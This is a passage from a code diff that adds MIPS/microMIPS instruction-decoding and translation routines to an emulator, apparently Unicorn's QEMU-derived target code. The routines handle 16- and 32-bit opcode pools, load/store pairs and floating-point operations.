reg, 0, 0, 0); + /* Let normal delay slot handling in our caller take us + to the branch target. */ + } + break; + case JALR16 + 0: + case JALR16 + 1: + gen_compute_branch(ctx, OPC_JALR, 2, ctx->opcode & 0x1f, 31, 0, 4); + ctx->hflags |= MIPS_HFLAG_BDS_STRICT; + break; + case JALR16S + 0: + case JALR16S + 1: + gen_compute_branch(ctx, OPC_JALR, 2, ctx->opcode & 0x1f, 31, 0, 2); + ctx->hflags |= MIPS_HFLAG_BDS_STRICT; + break; + case MFHI16 + 0: + case MFHI16 + 1: + gen_HILO(ctx, OPC_MFHI, 0, uMIPS_RS5(ctx->opcode)); + break; + case MFLO16 + 0: + case MFLO16 + 1: + gen_HILO(ctx, OPC_MFLO, 0, uMIPS_RS5(ctx->opcode)); + break; + case BREAK16: + generate_exception(ctx, EXCP_BREAK); + break; + case SDBBP16: + /* XXX: not clear which exception should be raised + * when in debug mode... + */ + check_insn(ctx, ISA_MIPS32); + if (!(ctx->hflags & MIPS_HFLAG_DM)) { + generate_exception(ctx, EXCP_DBp); + } else { + generate_exception(ctx, EXCP_DBp); + } + break; + case JRADDIUSP + 0: + case JRADDIUSP + 1: + { + int imm = ZIMM(ctx->opcode, 0, 5); + gen_compute_branch(ctx, OPC_JR, 2, 31, 0, 0, 0); + gen_arith_imm(ctx, OPC_ADDIU, 29, 29, imm << 2); + /* Let normal delay slot handling in our caller take us + to the branch target. */ + } + break; + default: + generate_exception(ctx, EXCP_RI); + break; + } +} + +static void gen_ldxs (DisasContext *ctx, int base, int index, int rd) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv t0 = tcg_temp_new(tcg_ctx); + TCGv t1 = tcg_temp_new(tcg_ctx); + + gen_load_gpr(ctx, t0, base); + + if (index != 0) { + gen_load_gpr(ctx, t1, index); + tcg_gen_shli_tl(tcg_ctx, t1, t1, 2); + gen_op_addr_add(ctx, t0, t1, t0); + } + + tcg_gen_qemu_ld_tl(ctx->uc, t1, t0, ctx->mem_idx, MO_TESL); + gen_store_gpr(tcg_ctx, t1, rd); + + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); +} + +static void gen_ldst_pair (DisasContext *ctx, uint32_t opc, int rd, + int base, int16_t offset) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + const char *opn = "ldst_pair"; + TCGv t0, t1; + + if (ctx->hflags & MIPS_HFLAG_BMASK || rd == 31) { + generate_exception(ctx, EXCP_RI); + return; + } + + t0 = tcg_temp_new(tcg_ctx); + t1 = tcg_temp_new(tcg_ctx); + + gen_base_offset_addr(ctx, t0, base, offset); + + switch (opc) { + case LWP: + if (rd == base) { + generate_exception(ctx, EXCP_RI); + return; + } + tcg_gen_qemu_ld_tl(ctx->uc, t1, t0, ctx->mem_idx, MO_TESL); + gen_store_gpr(tcg_ctx, t1, rd); + tcg_gen_movi_tl(tcg_ctx, t1, 4); + gen_op_addr_add(ctx, t0, t0, t1); + tcg_gen_qemu_ld_tl(ctx->uc, t1, t0, ctx->mem_idx, MO_TESL); + gen_store_gpr(tcg_ctx, t1, rd+1); + opn = "lwp"; + break; + case SWP: + gen_load_gpr(ctx, t1, rd); + tcg_gen_qemu_st_tl(ctx->uc, t1, t0, ctx->mem_idx, MO_TEUL); + tcg_gen_movi_tl(tcg_ctx, t1, 4); + gen_op_addr_add(ctx, t0, t0, t1); + gen_load_gpr(ctx, t1, rd+1); + tcg_gen_qemu_st_tl(ctx->uc, t1, t0, ctx->mem_idx, MO_TEUL); + opn = "swp"; + break; +#ifdef TARGET_MIPS64 + case LDP: + if (rd == base) { + generate_exception(ctx, EXCP_RI); + return; + } + tcg_gen_qemu_ld_tl(ctx->uc, t1, t0, ctx->mem_idx, MO_TEQ); + gen_store_gpr(tcg_ctx, t1, rd); + tcg_gen_movi_tl(tcg_ctx, t1, 8); + gen_op_addr_add(ctx, t0, t0, t1); + tcg_gen_qemu_ld_tl(ctx->uc, t1, t0, ctx->mem_idx, MO_TEQ); + gen_store_gpr(tcg_ctx, t1, rd+1); + opn = "ldp"; + break; + case SDP: + gen_load_gpr(ctx, t1, rd); + tcg_gen_qemu_st_tl(ctx->uc, t1, t0, ctx->mem_idx, MO_TEQ); + tcg_gen_movi_tl(tcg_ctx, t1, 8); + gen_op_addr_add(ctx, t0, t0, t1); + gen_load_gpr(ctx, t1, rd+1); + tcg_gen_qemu_st_tl(ctx->uc, t1, t0, ctx->mem_idx, MO_TEQ); + opn = "sdp"; + break; +#endif + } + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s, %s, %d(%s)", opn, regnames[rd], offset, regnames[base]); + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); +} + +static void gen_pool32axf (CPUMIPSState *env, DisasContext *ctx, int rt, int rs) +{ + TCGContext *tcg_ctx = env->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + int extension = (ctx->opcode >> 6) & 0x3f; + int minor = (ctx->opcode >> 12) & 0xf; + uint32_t mips32_op; + + switch (extension) { + case TEQ: + mips32_op = OPC_TEQ; + goto do_trap; + case TGE: + mips32_op = OPC_TGE; + goto do_trap; + case TGEU: + mips32_op = OPC_TGEU; + goto do_trap; + case TLT: + mips32_op = OPC_TLT; + goto do_trap; + case TLTU: + mips32_op = OPC_TLTU; + goto do_trap; + case TNE: + mips32_op = OPC_TNE; + do_trap: + gen_trap(ctx, mips32_op, rs, rt, -1); + break; +#ifndef CONFIG_USER_ONLY + case MFC0: + case MFC0 + 32: + check_cp0_enabled(ctx); + if (rt == 0) { + /* Treat as NOP. */ + break; + } + gen_mfc0(ctx, *cpu_gpr[rt], rs, (ctx->opcode >> 11) & 0x7); + break; + case MTC0: + case MTC0 + 32: + check_cp0_enabled(ctx); + { + TCGv t0 = tcg_temp_new(tcg_ctx); + + gen_load_gpr(ctx, t0, rt); + gen_mtc0(ctx, t0, rs, (ctx->opcode >> 11) & 0x7); + tcg_temp_free(tcg_ctx, t0); + } + break; +#endif + case 0x2a: + switch (minor & 3) { + case MADD_ACC: + gen_muldiv(ctx, OPC_MADD, (ctx->opcode >> 14) & 3, rs, rt); + break; + case MADDU_ACC: + gen_muldiv(ctx, OPC_MADDU, (ctx->opcode >> 14) & 3, rs, rt); + break; + case MSUB_ACC: + gen_muldiv(ctx, OPC_MSUB, (ctx->opcode >> 14) & 3, rs, rt); + break; + case MSUBU_ACC: + gen_muldiv(ctx, OPC_MSUBU, (ctx->opcode >> 14) & 3, rs, rt); + break; + default: + goto pool32axf_invalid; + } + break; + case 0x32: + switch (minor & 3) { + case MULT_ACC: + gen_muldiv(ctx, OPC_MULT, (ctx->opcode >> 14) & 3, rs, rt); + break; + case MULTU_ACC: + gen_muldiv(ctx, OPC_MULTU, (ctx->opcode >> 14) & 3, rs, rt); + break; + default: + goto pool32axf_invalid; + } + break; + case 0x2c: + switch (minor) { + case SEB: + gen_bshfl(ctx, OPC_SEB, rs, rt); + break; + case SEH: + gen_bshfl(ctx, OPC_SEH, rs, rt); + break; + case CLO: + mips32_op = OPC_CLO; + goto do_cl; + case CLZ: + mips32_op = OPC_CLZ; + do_cl: + check_insn(ctx, ISA_MIPS32); + gen_cl(ctx, mips32_op, rt, rs); + break; + case RDHWR: + gen_rdhwr(ctx, rt, rs); + break; + case WSBH: + gen_bshfl(ctx, OPC_WSBH, rs, rt); + break; + case MULT: + mips32_op = OPC_MULT; + goto do_mul; + case MULTU: + mips32_op = OPC_MULTU; + goto do_mul; + case DIV: + mips32_op = OPC_DIV; + goto do_div; + case DIVU: + mips32_op = OPC_DIVU; + goto do_div; + do_div: + check_insn(ctx, ISA_MIPS32); + gen_muldiv(ctx, mips32_op, 0, rs, rt); + break; + case MADD: + mips32_op = OPC_MADD; + goto do_mul; + case MADDU: + mips32_op = OPC_MADDU; + goto do_mul; + case MSUB: + mips32_op = OPC_MSUB; + goto do_mul; + case MSUBU: + mips32_op = OPC_MSUBU; + do_mul: + check_insn(ctx, ISA_MIPS32); + gen_muldiv(ctx, mips32_op, 0, rs, rt); + break; + default: + goto pool32axf_invalid; + } + break; + case 0x34: + switch (minor) { + case MFC2: + case MTC2: + case MFHC2: + case MTHC2: + case CFC2: + case CTC2: + generate_exception_err(ctx, EXCP_CpU, 2); + break; + default: + goto pool32axf_invalid; + } + break; + case 0x3c: + switch (minor) { + case JALR: + case JALR_HB: + gen_compute_branch(ctx, OPC_JALR, 4, rs, rt, 0, 4); + ctx->hflags |= MIPS_HFLAG_BDS_STRICT; + break; + case JALRS: + case JALRS_HB: + gen_compute_branch(ctx, OPC_JALR, 4, rs, rt, 0, 2); + ctx->hflags |= MIPS_HFLAG_BDS_STRICT; + break; + default: + goto pool32axf_invalid; + } + break; + case 0x05: + switch (minor) { + case RDPGPR: + check_cp0_enabled(ctx); + check_insn(ctx, ISA_MIPS32R2); + gen_load_srsgpr(ctx, rt, rs); + break; + case WRPGPR: + check_cp0_enabled(ctx); + check_insn(ctx, ISA_MIPS32R2); + gen_store_srsgpr(ctx, rt, rs); + break; + default: + goto pool32axf_invalid; + } + break; +#ifndef CONFIG_USER_ONLY + case 0x0d: + switch (minor) { + case TLBP: + mips32_op = OPC_TLBP; + goto do_cp0; + case TLBR: + mips32_op = OPC_TLBR; + goto do_cp0; + case TLBWI: + mips32_op = OPC_TLBWI; + goto do_cp0; + case TLBWR: + mips32_op = OPC_TLBWR; + goto do_cp0; + case WAIT: + mips32_op = OPC_WAIT; + goto do_cp0; + case DERET: + mips32_op = OPC_DERET; + goto do_cp0; + case ERET: + mips32_op = OPC_ERET; + do_cp0: + gen_cp0(env, ctx, mips32_op, rt, rs); + break; + default: + goto pool32axf_invalid; + } + break; + case 0x1d: + switch (minor) { + case DI: + check_cp0_enabled(ctx); + { + TCGv t0 = tcg_temp_new(tcg_ctx); + + save_cpu_state(ctx, 1); + gen_helper_di(tcg_ctx, t0, tcg_ctx->cpu_env); + gen_store_gpr(tcg_ctx, t0, rs); + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + tcg_temp_free(tcg_ctx, t0); + } + break; + case EI: + check_cp0_enabled(ctx); + { + TCGv t0 = tcg_temp_new(tcg_ctx); + + save_cpu_state(ctx, 1); + gen_helper_ei(tcg_ctx, t0, tcg_ctx->cpu_env); + gen_store_gpr(tcg_ctx, t0, rs); + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + tcg_temp_free(tcg_ctx, t0); + } + break; + default: + goto pool32axf_invalid; + } + break; +#endif + case 0x2d: + switch (minor) { + case SYNC: + /* NOP */ + break; + case SYSCALL: + generate_exception(ctx, EXCP_SYSCALL); + ctx->bstate = BS_STOP; + break; + case SDBBP: + check_insn(ctx, ISA_MIPS32); + if (!(ctx->hflags & MIPS_HFLAG_DM)) { + generate_exception(ctx, EXCP_DBp); + } else { + generate_exception(ctx, EXCP_DBp); + } + break; + default: + goto pool32axf_invalid; + } + break; + case 0x01: + switch (minor & 3) { + case MFHI_ACC: + gen_HILO(ctx, OPC_MFHI, minor >> 2, rs); + break; + case MFLO_ACC: + gen_HILO(ctx, OPC_MFLO, minor >> 2, rs); + break; + case MTHI_ACC: + gen_HILO(ctx, OPC_MTHI, minor >> 2, rs); + break; + case MTLO_ACC: + gen_HILO(ctx, OPC_MTLO, minor >> 2, rs); + break; + default: + goto pool32axf_invalid; + } + break; + case 0x35: + switch (minor) { + case MFHI32: + gen_HILO(ctx, OPC_MFHI, 0, rs); + break; + case MFLO32: + gen_HILO(ctx, OPC_MFLO, 0, rs); + break; + case MTHI32: + gen_HILO(ctx, OPC_MTHI, 0, rs); + break; + case MTLO32: + gen_HILO(ctx, OPC_MTLO, 0, rs); + break; + default: + goto pool32axf_invalid; + } + break; + default: + pool32axf_invalid: + MIPS_INVAL("pool32axf"); + generate_exception(ctx, EXCP_RI); + break; + } +} + +/* Values for microMIPS fmt field. Variable-width, depending on which + formats the instruction supports. */ + +enum { + FMT_SD_S = 0, + FMT_SD_D = 1, + + FMT_SDPS_S = 0, + FMT_SDPS_D = 1, + FMT_SDPS_PS = 2, + + FMT_SWL_S = 0, + FMT_SWL_W = 1, + FMT_SWL_L = 2, + + FMT_DWL_D = 0, + FMT_DWL_W = 1, + FMT_DWL_L = 2 +}; + +static void gen_pool32fxf(DisasContext *ctx, int rt, int rs) +{ + int extension = (ctx->opcode >> 6) & 0x3ff; + uint32_t mips32_op; + +#define FLOAT_1BIT_FMT(opc, fmt) (fmt << 8) | opc +#define FLOAT_2BIT_FMT(opc, fmt) (fmt << 7) | opc +#define COND_FLOAT_MOV(opc, cond) (cond << 7) | opc + + switch (extension) { + case FLOAT_1BIT_FMT(CFC1, 0): + mips32_op = OPC_CFC1; + goto do_cp1; + case FLOAT_1BIT_FMT(CTC1, 0): + mips32_op = OPC_CTC1; + goto do_cp1; + case FLOAT_1BIT_FMT(MFC1, 0): + mips32_op = OPC_MFC1; + goto do_cp1; + case FLOAT_1BIT_FMT(MTC1, 0): + mips32_op = OPC_MTC1; + goto do_cp1; + case FLOAT_1BIT_FMT(MFHC1, 0): + mips32_op = OPC_MFHC1; + goto do_cp1; + case FLOAT_1BIT_FMT(MTHC1, 0): + mips32_op = OPC_MTHC1; + do_cp1: + gen_cp1(ctx, mips32_op, rt, rs); + break; + + /* Reciprocal square root */ + case FLOAT_1BIT_FMT(RSQRT_FMT, FMT_SD_S): + mips32_op = OPC_RSQRT_S; + goto do_unaryfp; + case FLOAT_1BIT_FMT(RSQRT_FMT, FMT_SD_D): + mips32_op = OPC_RSQRT_D; + goto do_unaryfp; + + /* Square root */ + case FLOAT_1BIT_FMT(SQRT_FMT, FMT_SD_S): + mips32_op = OPC_SQRT_S; + goto do_unaryfp; + case FLOAT_1BIT_FMT(SQRT_FMT, FMT_SD_D): + mips32_op = OPC_SQRT_D; + goto do_unaryfp; + + /* Reciprocal */ + case FLOAT_1BIT_FMT(RECIP_FMT, FMT_SD_S): + mips32_op = OPC_RECIP_S; + goto do_unaryfp; + case FLOAT_1BIT_FMT(RECIP_FMT, FMT_SD_D): + mips32_op = OPC_RECIP_D; + goto do_unaryfp; + + /* Floor */ + case FLOAT_1BIT_FMT(FLOOR_L, FMT_SD_S): + mips32_op = OPC_FLOOR_L_S; + goto do_unaryfp; + case FLOAT_1BIT_FMT(FLOOR_L, FMT_SD_D): + mips32_op = OPC_FLOOR_L_D; + goto do_unaryfp; + case FLOAT_1BIT_FMT(FLOOR_W, FMT_SD_S): + mips32_op = OPC_FLOOR_W_S; + goto do_unaryfp; + case FLOAT_1BIT_FMT(FLOOR_W, FMT_SD_D): + mips32_op = OPC_FLOOR_W_D; + goto do_unaryfp; + + /* Ceiling */ + case FLOAT_1BIT_FMT(CEIL_L, FMT_SD_S): + mips32_op = OPC_CEIL_L_S; + goto do_unaryfp; + case FLOAT_1BIT_FMT(CEIL_L, FMT_SD_D): + mips32_op = OPC_CEIL_L_D; + goto do_unaryfp; + case FLOAT_1BIT_FMT(CEIL_W, FMT_SD_S): + mips32_op = OPC_CEIL_W_S; + goto do_unaryfp; + case FLOAT_1BIT_FMT(CEIL_W, FMT_SD_D): + mips32_op = OPC_CEIL_W_D; + goto do_unaryfp; + + /* Truncation */ + case FLOAT_1BIT_FMT(TRUNC_L, FMT_SD_S): + mips32_op = OPC_TRUNC_L_S; + goto do_unaryfp; + case FLOAT_1BIT_FMT(TRUNC_L, FMT_SD_D): + mips32_op = OPC_TRUNC_L_D; + goto do_unaryfp; + case FLOAT_1BIT_FMT(TRUNC_W, FMT_SD_S): + mips32_op = OPC_TRUNC_W_S; + goto do_unaryfp; + case FLOAT_1BIT_FMT(TRUNC_W, FMT_SD_D): + mips32_op = OPC_TRUNC_W_D; + goto do_unaryfp; + + /* Round */ + case FLOAT_1BIT_FMT(ROUND_L, FMT_SD_S): + mips32_op = OPC_ROUND_L_S; + goto do_unaryfp; + case FLOAT_1BIT_FMT(ROUND_L, FMT_SD_D): + mips32_op = OPC_ROUND_L_D; + goto do_unaryfp; + case FLOAT_1BIT_FMT(ROUND_W, FMT_SD_S): + mips32_op = OPC_ROUND_W_S; + goto do_unaryfp; + case FLOAT_1BIT_FMT(ROUND_W, FMT_SD_D): + mips32_op = OPC_ROUND_W_D; + goto do_unaryfp; + + /* Integer to floating-point conversion */ + case FLOAT_1BIT_FMT(CVT_L, FMT_SD_S): + mips32_op = OPC_CVT_L_S; + goto do_unaryfp; + case FLOAT_1BIT_FMT(CVT_L, FMT_SD_D): + mips32_op = OPC_CVT_L_D; + goto do_unaryfp; + case FLOAT_1BIT_FMT(CVT_W, FMT_SD_S): + mips32_op = OPC_CVT_W_S; + goto do_unaryfp; + case FLOAT_1BIT_FMT(CVT_W, FMT_SD_D): + mips32_op = OPC_CVT_W_D; + goto do_unaryfp; + + /* Paired-foo conversions */ + case FLOAT_1BIT_FMT(CVT_S_PL, 0): + mips32_op = OPC_CVT_S_PL; + goto do_unaryfp; + case FLOAT_1BIT_FMT(CVT_S_PU, 0): + mips32_op = OPC_CVT_S_PU; + goto do_unaryfp; + case FLOAT_1BIT_FMT(CVT_PW_PS, 0): + mips32_op = OPC_CVT_PW_PS; + goto do_unaryfp; + case FLOAT_1BIT_FMT(CVT_PS_PW, 0): + mips32_op = OPC_CVT_PS_PW; + goto do_unaryfp; + + /* Floating-point moves */ + case FLOAT_2BIT_FMT(MOV_FMT, FMT_SDPS_S): + mips32_op = OPC_MOV_S; + goto do_unaryfp; + case FLOAT_2BIT_FMT(MOV_FMT, FMT_SDPS_D): + mips32_op = OPC_MOV_D; + goto do_unaryfp; + case FLOAT_2BIT_FMT(MOV_FMT, FMT_SDPS_PS): + mips32_op = OPC_MOV_PS; + goto do_unaryfp; + + /* Absolute value */ + case FLOAT_2BIT_FMT(ABS_FMT, FMT_SDPS_S): + mips32_op = OPC_ABS_S; + goto do_unaryfp; + case FLOAT_2BIT_FMT(ABS_FMT, FMT_SDPS_D): + mips32_op = OPC_ABS_D; + goto do_unaryfp; + case FLOAT_2BIT_FMT(ABS_FMT, FMT_SDPS_PS): + mips32_op = OPC_ABS_PS; + goto do_unaryfp; + + /* Negation */ + case FLOAT_2BIT_FMT(NEG_FMT, FMT_SDPS_S): + mips32_op = OPC_NEG_S; + goto do_unaryfp; + case FLOAT_2BIT_FMT(NEG_FMT, FMT_SDPS_D): + mips32_op = OPC_NEG_D; + goto do_unaryfp; + case FLOAT_2BIT_FMT(NEG_FMT, FMT_SDPS_PS): + mips32_op = OPC_NEG_PS; + goto do_unaryfp; + + /* Reciprocal square root step */ + case FLOAT_2BIT_FMT(RSQRT1_FMT, FMT_SDPS_S): + mips32_op = OPC_RSQRT1_S; + goto do_unaryfp; + case FLOAT_2BIT_FMT(RSQRT1_FMT, FMT_SDPS_D): + mips32_op = OPC_RSQRT1_D; + goto do_unaryfp; + case FLOAT_2BIT_FMT(RSQRT1_FMT, FMT_SDPS_PS): + mips32_op = OPC_RSQRT1_PS; + goto do_unaryfp; + + /* Reciprocal step */ + case FLOAT_2BIT_FMT(RECIP1_FMT, FMT_SDPS_S): + mips32_op = OPC_RECIP1_S; + goto do_unaryfp; + case FLOAT_2BIT_FMT(RECIP1_FMT, FMT_SDPS_D): + mips32_op = OPC_RECIP1_S; + goto do_unaryfp; + case FLOAT_2BIT_FMT(RECIP1_FMT, FMT_SDPS_PS): + mips32_op = OPC_RECIP1_PS; + goto do_unaryfp; + + /* Conversions from double */ + case FLOAT_2BIT_FMT(CVT_D, FMT_SWL_S): + mips32_op = OPC_CVT_D_S; + goto do_unaryfp; + case FLOAT_2BIT_FMT(CVT_D, FMT_SWL_W): + mips32_op = OPC_CVT_D_W; + goto do_unaryfp; + case FLOAT_2BIT_FMT(CVT_D, FMT_SWL_L): + mips32_op = OPC_CVT_D_L; + goto do_unaryfp; + + /* Conversions from single */ + case FLOAT_2BIT_FMT(CVT_S, FMT_DWL_D): + mips32_op = OPC_CVT_S_D; + goto do_unaryfp; + case FLOAT_2BIT_FMT(CVT_S, FMT_DWL_W): + mips32_op = OPC_CVT_S_W; + goto do_unaryfp; + case FLOAT_2BIT_FMT(CVT_S, FMT_DWL_L): + mips32_op = OPC_CVT_S_L; + do_unaryfp: + gen_farith(ctx, mips32_op, -1, rs, rt, 0); + break; + + /* Conditional moves on floating-point codes */ + case COND_FLOAT_MOV(MOVT, 0): + case COND_FLOAT_MOV(MOVT, 1): + case COND_FLOAT_MOV(MOVT, 2): + case COND_FLOAT_MOV(MOVT, 3): + case COND_FLOAT_MOV(MOVT, 4): + case COND_FLOAT_MOV(MOVT, 5): + case COND_FLOAT_MOV(MOVT, 6): + case COND_FLOAT_MOV(MOVT, 7): + gen_movci(ctx, rt, rs, (ctx->opcode >> 13) & 0x7, 1); + break; + case COND_FLOAT_MOV(MOVF, 0): + case COND_FLOAT_MOV(MOVF, 1): + case COND_FLOAT_MOV(MOVF, 2): + case COND_FLOAT_MOV(MOVF, 3): + case COND_FLOAT_MOV(MOVF, 4): + case COND_FLOAT_MOV(MOVF, 5): + case COND_FLOAT_MOV(MOVF, 6): + case COND_FLOAT_MOV(MOVF, 7): + gen_movci(ctx, rt, rs, (ctx->opcode >> 13) & 0x7, 0); + break; + default: + MIPS_INVAL("pool32fxf"); + generate_exception(ctx, EXCP_RI); + break; + } +} + +static void decode_micromips32_opc (CPUMIPSState *env, DisasContext *ctx, + uint16_t insn_hw1) +{ + int32_t offset; + uint16_t insn; + int rt, rs, rd, rr; + int16_t imm; + uint32_t op, minor, mips32_op; + uint32_t cond, fmt, cc; + + insn = cpu_lduw_code(env, ctx->pc + 2); + ctx->opcode = (ctx->opcode << 16) | insn; + + rt = (ctx->opcode >> 21) & 0x1f; + rs = (ctx->opcode >> 16) & 0x1f; + rd = (ctx->opcode >> 11) & 0x1f; + rr = (ctx->opcode >> 6) & 0x1f; + imm = (int16_t) ctx->opcode; + + op = (ctx->opcode >> 26) & 0x3f; + switch (op) { + case POOL32A: + minor = ctx->opcode & 0x3f; + switch (minor) { + case 0x00: + minor = (ctx->opcode >> 6) & 0xf; + switch (minor) { + case SLL32: + mips32_op = OPC_SLL; + goto do_shifti; + case SRA: + mips32_op = OPC_SRA; + goto do_shifti; + case SRL32: + mips32_op = OPC_SRL; + goto do_shifti; + case ROTR: + mips32_op = OPC_ROTR; + do_shifti: + gen_shift_imm(ctx, mips32_op, rt, rs, rd); + break; + default: + goto pool32a_invalid; + } + break; + case 0x10: + minor = (ctx->opcode >> 6) & 0xf; + switch (minor) { + /* Arithmetic */ + case ADD: + mips32_op = OPC_ADD; + goto do_arith; + case ADDU32: + mips32_op = OPC_ADDU; + goto do_arith; + case SUB: + mips32_op = OPC_SUB; + goto do_arith; + case SUBU32: + mips32_op = OPC_SUBU; + goto do_arith; + case MUL: + mips32_op = OPC_MUL; + do_arith: + gen_arith(ctx, mips32_op, rd, rs, rt); + break; + /* Shifts */ + case SLLV: + mips32_op = OPC_SLLV; + goto do_shift; + case SRLV: + mips32_op = OPC_SRLV; + goto do_shift; + case SRAV: + mips32_op = OPC_SRAV; + goto do_shift; + case ROTRV: + mips32_op = OPC_ROTRV; + do_shift: + gen_shift(ctx, mips32_op, rd, rs, rt); + break; + /* Logical operations */ + case AND: + mips32_op = OPC_AND; + goto do_logic; + case OR32: + mips32_op = OPC_OR; + goto do_logic; + case NOR: + mips32_op = OPC_NOR; + goto do_logic; + case XOR32: + mips32_op = OPC_XOR; + do_logic: + gen_logic(ctx, mips32_op, rd, rs, rt); + break; + /* Set less than */ + case SLT: + mips32_op = OPC_SLT; + goto do_slt; + case SLTU: + mips32_op = OPC_SLTU; + do_slt: + gen_slt(ctx, mips32_op, rd, rs, rt); + break; + default: + goto pool32a_invalid; + } + break; + case 0x18: + minor = (ctx->opcode >> 6) & 0xf; + switch (minor) { + /* Conditional moves */ + case MOVN: + mips32_op = OPC_MOVN; + goto do_cmov; + case MOVZ: + mips32_op = OPC_MOVZ; + do_cmov: + gen_cond_move(ctx, mips32_op, rd, rs, rt); + break; + case LWXS: + gen_ldxs(ctx, rs, rt, rd); + break; + default: + goto pool32a_invalid; + } + break; + case INS: + gen_bitops(ctx, OPC_INS, rt, rs, rr, rd); + return; + case EXT: + gen_bitops(ctx, OPC_EXT, rt, rs, rr, rd); + return; + case POOL32AXF: + gen_pool32axf(env, ctx, rt, rs); + break; + case 0x07: + generate_exception(ctx, EXCP_BREAK); + break; + default: + pool32a_invalid: + MIPS_INVAL("pool32a"); + generate_exception(ctx, EXCP_RI); + break; + } + break; + case POOL32B: + minor = (ctx->opcode >> 12) & 0xf; + switch (minor) { + case CACHE: + check_cp0_enabled(ctx); + /* Treat as no-op. */ + break; + case LWC2: + case SWC2: + /* COP2: Not implemented. */ + generate_exception_err(ctx, EXCP_CpU, 2); + break; + case LWP: + case SWP: +#ifdef TARGET_MIPS64 + case LDP: + case SDP: +#endif + gen_ldst_pair(ctx, minor, rt, rs, SIMM(ctx->opcode, 0, 12)); + break; + case LWM32: + case SWM32: +#ifdef TARGET_MIPS64 + case LDM: + case SDM: +#endif + gen_ldst_multiple(ctx, minor, rt, rs, SIMM(ctx->opcode, 0, 12)); + break; + default: + MIPS_INVAL("pool32b"); + generate_exception(ctx, EXCP_RI); + break; + } + break; + case POOL32F: + if (ctx->CP0_Config1 & (1 << CP0C1_FP)) { + minor = ctx->opcode & 0x3f; + check_cp1_enabled(ctx); + switch (minor) { + case ALNV_PS: + mips32_op = OPC_ALNV_PS; + goto do_madd; + case MADD_S: + mips32_op = OPC_MADD_S; + goto do_madd; + case MADD_D: + mips32_op = OPC_MADD_D; + goto do_madd; + case MADD_PS: + mips32_op = OPC_MADD_PS; + goto do_madd; + case MSUB_S: + mips32_op = OPC_MSUB_S; + goto do_madd; + case MSUB_D: + mips32_op = OPC_MSUB_D; + goto do_madd; + case MSUB_PS: + mips32_op = OPC_MSUB_PS; + goto do_madd; + case NMADD_S: + mips32_op = OPC_NMADD_S; + goto do_madd; + case NMADD_D: + mips32_op = OPC_NMADD_D; + goto do_madd; + case NMADD_PS: + mips32_op = OPC_NMADD_PS; + goto do_madd; + case NMSUB_S: + mips32_op = OPC_NMSUB_S; + goto do_madd; + case NMSUB_D: + mips32_op = OPC_NMSUB_D; + goto do_madd; + case NMSUB_PS: + mips32_op = OPC_NMSUB_PS; + do_madd: + gen_flt3_arith(ctx, mips32_op, rd, rr, rs, rt); + break; + case CABS_COND_FMT: + cond = (ctx->opcode >> 6) & 0xf; + cc = (ctx->opcode >> 13) & 0x7; + fmt = (ctx->opcode >> 10) & 0x3; + switch (fmt) { + case 0x0: + gen_cmpabs_s(ctx, cond, rt, rs, cc); + break; + case 0x1: + gen_cmpabs_d(ctx, cond, rt, rs, cc); + break; + case 0x2: + gen_cmpabs_ps(ctx, cond, rt, rs, cc); + break; + default: + goto pool32f_invalid; + } + break; + case C_COND_FMT: + cond = (ctx->opcode >> 6) & 0xf; + cc = (ctx->opcode >> 13) & 0x7; + fmt = (ctx->opcode >> 10) & 0x3; + switch (fmt) { + case 0x0: + gen_cmp_s(ctx, cond, rt, rs, cc); + break; + case 0x1: + gen_cmp_d(ctx, cond, rt, rs, cc); + break; + case 0x2: + gen_cmp_ps(ctx, cond, rt, rs, cc); + break; + default: + goto pool32f_invalid; + } + break; + case POOL32FXF: + gen_pool32fxf(ctx, rt, rs); + break; + case 0x00: + /* PLL foo */ + switch ((ctx->opcode >> 6) & 0x7) { + case PLL_PS: + mips32_op = OPC_PLL_PS; + goto do_ps; + case PLU_PS: + mips32_op = OPC_PLU_PS; + goto do_ps; + case PUL_PS: + mips32_op = OPC_PUL_PS; + goto do_ps; + case PUU_PS: + mips32_op = OPC_PUU_PS; + goto do_ps; + case CVT_PS_S: + mips32_op = OPC_CVT_PS_S; + do_ps: + gen_farith(ctx, mips32_op, rt, rs, rd, 0); + break; + default: + goto pool32f_invalid; + } + break; + case 0x08: + /* [LS][WDU]XC1 */ + switch ((ctx->opcode >> 6) & 0x7) { + case LWXC1: + mips32_op = OPC_LWXC1; + goto do_ldst_cp1; + case SWXC1: + mips32_op = OPC_SWXC1; + goto do_ldst_cp1; + case LDXC1: + mips32_op = OPC_LDXC1; + goto do_ldst_cp1; + case SDXC1: + mips32_op = OPC_SDXC1; + goto do_ldst_cp1; + case LUXC1: + mips32_op = OPC_LUXC1; + goto do_ldst_cp1; + case SUXC1: + mips32_op = OPC_SUXC1; + do_ldst_cp1: + gen_flt3_ldst(ctx, mips32_op, rd, rd, rt, rs); + break; + default: + goto pool32f_invalid; + } + break; + case 0x18: + /* 3D insns */ + fmt = (ctx->opcode >> 9) & 0x3; + switch ((ctx->opcode >> 6) & 0x7) { + case RSQRT2_FMT: + switch (fmt) { + case FMT_SDPS_S: + mips32_op = OPC_RSQRT2_S; + goto do_3d; + case FMT_SDPS_D: + mips32_op = OPC_RSQRT2_D; + goto do_3d; + case FMT_SDPS_PS: + mips32_op = OPC_RSQRT2_PS; + goto do_3d; + default: + goto pool32f_invalid; + } + break; + case RECIP2_FMT: + switch (fmt) { + case FMT_SDPS_S: + mips32_op = OPC_RECIP2_S; + goto do_3d; + case FMT_SDPS_D: + mips32_op = OPC_RECIP2_D; + goto do_3d; + case FMT_SDPS_PS: + mips32_op = OPC_RECIP2_PS; + goto do_3d; + default: + goto pool32f_invalid; + } + break; + case ADDR_PS: + mips32_op = OPC_ADDR_PS; + goto do_3d; + case MULR_PS: + mips32_op = OPC_MULR_PS; + do_3d: + gen_farith(ctx, mips32_op, rt, rs, rd, 0); + break; + default: + goto pool32f_invalid; + } + break; + case 0x20: + /* MOV[FT].fmt and PREFX */ + cc = (ctx->opcode >> 13) & 0x7; + fmt = (ctx->opcode >> 